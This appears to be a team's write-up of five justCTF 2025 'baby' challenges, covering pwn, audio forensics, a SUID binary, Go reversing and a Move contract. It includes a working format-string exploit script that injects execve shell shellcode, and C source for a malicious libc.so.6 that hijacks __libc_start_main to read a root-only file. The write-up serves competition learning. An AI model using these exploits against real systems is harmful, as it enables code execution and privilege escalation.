team-logo
Published on

justCTF 2025 - Baby challenges

Authors

Introduction

From August 2nd to 3rd (37h), the justCTF competition was organized by the justCatTheFish group. The CTF had a weight of 97.20, which is very high, so the challenges were quite difficult. Fortunately, the organizers were kind enough to include some easier tasks in the "baby" category. In reality, these weren't that easy and would be considered easy-medium on other CTFs, but they were still solvable. Our team managed to solve 5 out of 7 challenges. More information about this CTF can be found here.

all

Table of contents

shellcode printer

baby1 Writeup author: kerszi

This was a pwn-type challenge. The program asked for a string with "Enter a format string:", and we provided one, ending the input with Enter. It seemed simple, but it wasn't. There was no visible feedback, but the idea was to overwrite a memory area with executable code. The tricky part was figuring out from which offset the memory writing started—usually it's 6, 7, 8, etc. After some trial and error, I found that it started from offset 6. So, we had to craft a payload like %{word}c%{offset}$hn, which writes 2 bytes at a time, each representing instructions. At the end, we needed to use instructions to jump back to the beginning of the shellcode. Simple, right? ;) Very cool challenge.

Exploit steps

  1. Find the correct offset for the parameter to use (%6$hn in this binary).
  2. Split the shellcode into 2-byte chunks.
  3. For each chunk, send a format string payload to write that value in turn.
  4. After the last payload, send a blank line — the program will execute the code at the current pointer.

Pseudo C from Ghidra

undefined8 FUN_0010130e(void)

{
  int iVar1;
  FILE *__stream;
  char *pcVar2;
  size_t sVar3;
  undefined8 uVar4;
  long in_FS_OFFSET;
  code *local_40;
  char local_28 [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  iVar1 = getpagesize();
  local_40 = (code *)mmap((void *)0x0,(long)iVar1,7,0x22,-1,0);
  if (local_40 == (code *)0xffffffffffffffff) {
    perror("mmap");
  }
  else {
    __stream = fopen("/dev/null","w");
    if (__stream == (FILE *)0x0) {
      perror("fopen");
    }
    else {
      *local_40 = (code)0xc3;
      local_40 = local_40 + -2;
      while( true ) {
        local_28[0] = '\0';
        local_28[1] = '\0';
        local_28[2] = '\0';
        local_28[3] = '\0';
        local_28[4] = '\0';
        local_28[5] = '\0';
        local_28[6] = '\0';
        local_28[7] = '\0';
        local_28[8] = '\0';
        local_28[9] = '\0';
        local_28[10] = '\0';
        local_28[0xb] = '\0';
        local_28[0xc] = '\0';
        local_28[0xd] = '\0';
        local_28[0xe] = '\0';
        local_28[0xf] = '\0';
        printf("Enter a format string: ");
        pcVar2 = fgets(local_28,0x10,stdin);
        if (pcVar2 == (char *)0x0) break;
        sVar3 = strcspn(local_28,"\n");
        local_28[sVar3] = '\0';
        if (local_28[0] == '\0') {
          uVar4 = (*local_40)();
          goto LAB_00101489;
        }
        local_40 = local_40 + 2;
        fprintf(__stream,local_28);
      }
      perror("fgets");
    }
    fclose(__stream);
  }
  munmap(local_40,(long)iVar1);
  uVar4 = 1;
LAB_00101489:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar4;
}

Solution

from pwn import *             

context.log_level = 'warning' 

context.update(arch='x86_64', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 

HOST="nc shellcode-printer.nc.jctf.pro 1337"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./shellcode_printer"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

offset = 6

shellcode=b'\x90\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
shellcode += b'\xeb\xe2' #jump short -0x1e 

chunks = [u16(shellcode[i:i+2]) for i in range(0, len(shellcode), 2)]

for word in chunks:
    payload = f'%{word}c%{offset}$hn' 
    warn(f"Sending: {word} (0x{word:04x})")
    p.sendlineafter(b'format string: ', payload.encode())
p.sendlineafter(b'format string: ', b'')
p.sendline(b'cat flag.txt')

p.interactive()

justCTF{l0w_0n_cy4n_pl34s3_r3f1ll}

Baby Audio

baby2

Writeup author: kerszi

This task was in the forensics category. It was a wave file playing some music. We opened the wave file in Audacity. At the top, there were some lines. The first thought was Morse code, but it wasn't that. It didn't look like binary code either. I left this task for later so someone else could try, and I focused on other challenges. Unfortunately, after 35 hours, the task was still unsolved and there were only 2 hours left. I took another look, tried zeros and ones, but it didn't fit. However, when I wrote the first letter 'j' and checked what bits it had, I noticed it was almost the same as what I had considered before, but it started with a zero instead of a one. That misled me. The second confusing thing was that the bits on the screen were connected, not separated, so you had to split them yourself and guess how many bits there were, although you could estimate by their width. So, you had to write a program to extract the bits from the wav file and convert them into the flag. But I didn't really have time to write a program, and by the time ChatGPT would figure out what I meant, it would take too long. So I ended up manually transcribing the bits ;) For this, I used Sonic Visualizer. I entered the bits one by one into CyberChef. And how did I know if there were 3, 4, or 5 zeros or ones? I just quickly estimated by their width. baby2-1
011010100111010101110011011101000100001101010100010001100111101101010100011010000110010100101101011101000111001001100001011000110110101100101101011011100110000101101101011001010010110101101001011100110010110101000011011011110110110001100100011011100110010101110011011100110010110101100001011011100110010000101101011101000110100001100101001011010110000101110010011101000110100101110011011101000010110101101001011100110010110101010100011010000110010100101101010101110110000101101110011001000110010101110010011001010111001001111101

justCTF{The-track-name-is-Coldness-and-the-artist-is-The-Wanderer}

Baby SUID

baby3

Writeup author: kerszi

I spent quite some time on this challenge. The goal was to connect to a shell and obtain the flag by reading the /flag.txt file. The SUID binary was located at /usr/bin/hello. After many attempts, I realized that the solution involved preparing a custom libc.so.6 library and placing it in the same directory as the program. However, since there were no write permissions in /usr/bin/, the best approach was to create a symbolic link, for example in /home/ctfplayer/, and put the library there. The task actually had to be solved differently, so my solution was probably unintended. Below I describe exactly what steps I took.

Step 1: Setting up the Local Analysis Environment

First, set up a local environment that mirrors the target to analyze the binary and compile your exploit. Use the provided Dockerfile and add common debugging and compilation tools (gcc, gdb, strace, ltrace).

Dockerfile:

FROM --platform=linux/amd64 fedora:24

# Fix for old repositories by switching to the archives
RUN sed -i 's/metalink=/#metalink=/g' /etc/yum.repos.d/fedora.repo && \
    sed -i 's/metalink=/#metalink=/g' /etc/yum.repos.d/fedora-updates.repo && \
    sed -i 's/#baseurl=http:\/\/download.fedoraproject.org\/pub\/fedora\/linux/baseurl=http:\/\/archives.fedoraproject.org\/pub\/archive\/fedora/g' /etc/yum.repos.d/fedora.repo && \
    sed -i 's/#baseurl=http:\/\/download.fedoraproject.org\/pub\/fedora\/linux/baseurl=http:\/\/archives.fedoraproject.org\/pub\/archive\/fedora/g' /etc/yum.repos.d/fedora-updates.repo && \
    dnf -y update && \
    dnf -y install gcc glibc-devel make kernel-headers libstdc++-devel strace ltrace gdb && \
    dnf clean all

COPY --chmod=4755 hello /usr/bin/hello
COPY --chmod=400 flag.txt /flag.txt

RUN useradd -m ctfplayer
WORKDIR /home/ctfplayer

USER ctfplayer
ENTRYPOINT ["/bin/sh"]

Build and run the container:

docker build -t baby-suid .
docker run --rm -it baby-suid

Step 2: Crafting the Malicious libc.so.6

Analysis with ltrace and strace reveals that the SUID binary dynamically links against libc.so.6 and calls printf. Due to SUID protections, the dynamic linker (ld.so) ignores environment variables like LD_LIBRARY_PATH and will not load libraries from the current directory.

The exploit strategy is to create a custom libc.so.6 library that intercepts a critical function call. We will hijack __libc_start_main, the function that initializes the C runtime and calls the program's main function. This ensures our code runs before anything else.

exploit.c
#define NULL ((void*)0)

// A self-contained syscall wrapper to avoid any external dependencies.
static long my_syscall(long num, long arg1, long arg2, long arg3) {
    long result;
    // The syscall instruction is used to make direct kernel calls.
    __asm__ volatile (
        "syscall"
        : "=a" (result)
        : "a" (num), "D" (arg1), "S" (arg2), "d" (arg3)
        : "rcx", "r11", "memory"
    );
    return result;
}

// Stub function to satisfy the linker for __cxa_finalize.
void __cxa_finalize(void *d) {}

// We hijack __libc_start_main, the real entry point of the program.
int __libc_start_main(int (*main)(int, char **, char **), int argc, 
                     char **argv, void (*init)(void), void (*fini)(void), 
                     void (*rtld_fini)(void), void *stack_end) {
    
    char buffer[100];
    
    // open("/flag.txt", O_RDONLY) -> syscall number 2
    long fd = my_syscall(2, (long)"/flag.txt", 0, 0);
    
    if (fd > 0) {
        // read(fd, buffer, 99) -> syscall number 0
        long bytes = my_syscall(0, fd, (long)buffer, 99);
        
        if (bytes > 0) {
            // write(stdout, buffer, bytes) -> syscall number 1
            my_syscall(1, 1, (long)buffer, bytes);
        }
        
        // close(fd) -> syscall number 3
        my_syscall(3, fd, 0, 0);
    }
    
    // Optionally, continue execution to the original main function.
    if (main) return main(argc, argv, NULL);
    return 0;
}

// Stub function to satisfy the linker for printf.
int printf(const char *format, ...) {
    return 0;
}

Compile the code into a shared library:

gcc -shared -fPIC -o libc.so.6 exploit.c

Step 3: Delivering and Executing the Exploit

With the malicious libc.so.6 compiled, transfer it to the target machine and execute the exploit.

  1. Encode the library locally: Use base64 to transfer the binary file over a text-based shell.
cat libc.so.6 | base64 -w0 > libc.so.6.base64
  1. Decode on the target machine: Copy the base64 content and decode it back into a binary file in your home directory (/home/ctfplayer).
cat  > libc.so.6.base64
"PASTE_BASE64_STRING_HERE" (ctrl+d)
cat libc.so.6.base64  | base64 -d > libc.so.6
  1. Execute the exploit: create symbolic link
ln -s /usr/bin/hello /home/ctfplayer/hello
  1. Run and we have the flag:

justCTF{Did-you-know-that-macOS-has-something-similar-its-called-@loader_path?}

Baby-goes-re

baby4

Writeup author: kerszi

This task was probably the easiest one. The program was written in Go, which is hard to decompile, but Binary Ninja does a pretty good job. The goal was to find a string and decode it. The main problem was copying the entire string that needed to be decoded. Ghidra didn't extract the whole thing, but Binary Ninja did it correctly. I could also extract the bytes directly from the binary, but since I already had everything copied, I didn't feel like rewriting the code.

Pseudo C fragment from Binary Ninja

0049e120    int64_t main.main(int64_t arg1, int64_t arg2, 
0049e120      void* (** arg3)(int64_t arg1, int64_t arg2, void* arg3, void* arg4 @ r14) @ r14)

0049e124        if (&__return_addr u<= arg3[2])
0049e255            runtime.morestack_noctxt.abi0(arg1, arg2)
0049e255            noreturn
0049e255        
0049e139        void* const var_20 = &data_4a8aa0
0049e145        void* const var_18 = &data_53c6c8
0049e14a        os.Stdout
0049e165        fmt.Fprintln(1, 1, &data_53c6c8, &var_20, &go:itab.*os.File,io.Writer, arg3)
0049e171        int128_t* rax = runtime.newobject(&data_4a8aa0, arg3)
0049e182        void* const var_30 = &data_4a8aa0
0049e18e        char const (** const var_28)[0x8b] = &data_53c6d8
0049e193        os.Stdout
0049e1ae        fmt.Fprint(1, 1, &data_53c6d8, &var_30, &go:itab.*os.File,io.Writer, arg3)
0049e1ba        int64_t* var_40 = &data_4a5b80
0049e1c4        int128_t* var_38 = rax
0049e1e4        int64_t rsi = fmt.Fscanln(1, 1, rax, &var_40, os.Stdin, arg3)
0049e1e4        
0049e1f3        if (*(rax + 8) != 0x35)
0049e1f5            main.fail(arg3)
0049e1f5            noreturn
0049e1f5        
0049e212        main.CheckFlag(0x52ae4, rsi, rax, "g9EPa:K5_C:BK[Dr*Z-).*y}Qn}_EA}O…", *rax, 
0049e212            *(rax + 8), arg3)
0049e21e        void* const var_50 = &data_4a8aa0
0049e22a        char const (** const var_48)[0xf0] = &data_53c6e8
0049e22f        os.Stdout
0049e254        return fmt.Fprint(1, 1, &data_53c6e8, &var_50, &go:itab.*os.File,io.Writer, arg3)

Solution

flag_length = 53  # długość flagi

# Ścieżka do pliku z zakodowanym dumpem pamięci
encoded_file = "encoded_dump.bin"

# Wczytanie wszystkich bajtów z pliku
with open(encoded_file, "rb") as f:
    encoded_bytes = f.read()

r8 = 0
rsi = 0

result_bytes = []

for i in range(flag_length):
    offset = r8 + rsi + 0x1337
    if offset >= len(encoded_bytes):
        print(f"Błąd: offset {offset} wykracza poza długość encoded_bytes ({len(encoded_bytes)})")
        break
    result_bytes.append(encoded_bytes[offset])
    next_rsi = r8 + rsi + 0x1338
    r8 += 0x33
    rsi = next_rsi

flag = bytes(result_bytes).decode('ascii', errors='replace')
print("Odszyfrowana flaga:", flag)

justCTF{W3lc0m3_t0_R3v1NG!_Th4t_w45nt-s0-B4d-w45_1t?}

Otternaut Launch

This challenge was solved by our new player Xrne.

baby5
/// the list of parameters that will be passed to the `solution::solve` function
const PARAMS_LIST: [(u8, u8); 6] = [(3,2), (3,0), (3,1), (1,0), (1,2), (1,1)
module solution::solution {
    use challenge::otternaut_launch::{Self, LaunchCapsule, OtternautLab, LaunchInspectionLab, MicroWrench, AvionicsCalibrator, HullFrame};

    public fun solve(
        wrench: MicroWrench,
        calibrator: AvionicsCalibrator,
        frame: HullFrame,
        capsule: &mut LaunchCapsule,
        otternaut_lab: &OtternautLab,
        inspection_lab: &LaunchInspectionLab
    ) {
        let os = otternaut_launch::generate_flight_os(otternaut_lab, 42);
        let boosters = otternaut_launch::build_boosters(otternaut_lab, 9);
        otternaut_launch::assemble_launch_capsule(capsule, otternaut_lab, inspection_lab, wrench, calibrator, frame, boosters, os);
    }
}

justCTF{l4unch_c4psule_4ssembled_su204essfully!}

Bonus

Optionally, add links to binaries or additional resources.
Download binaries.zip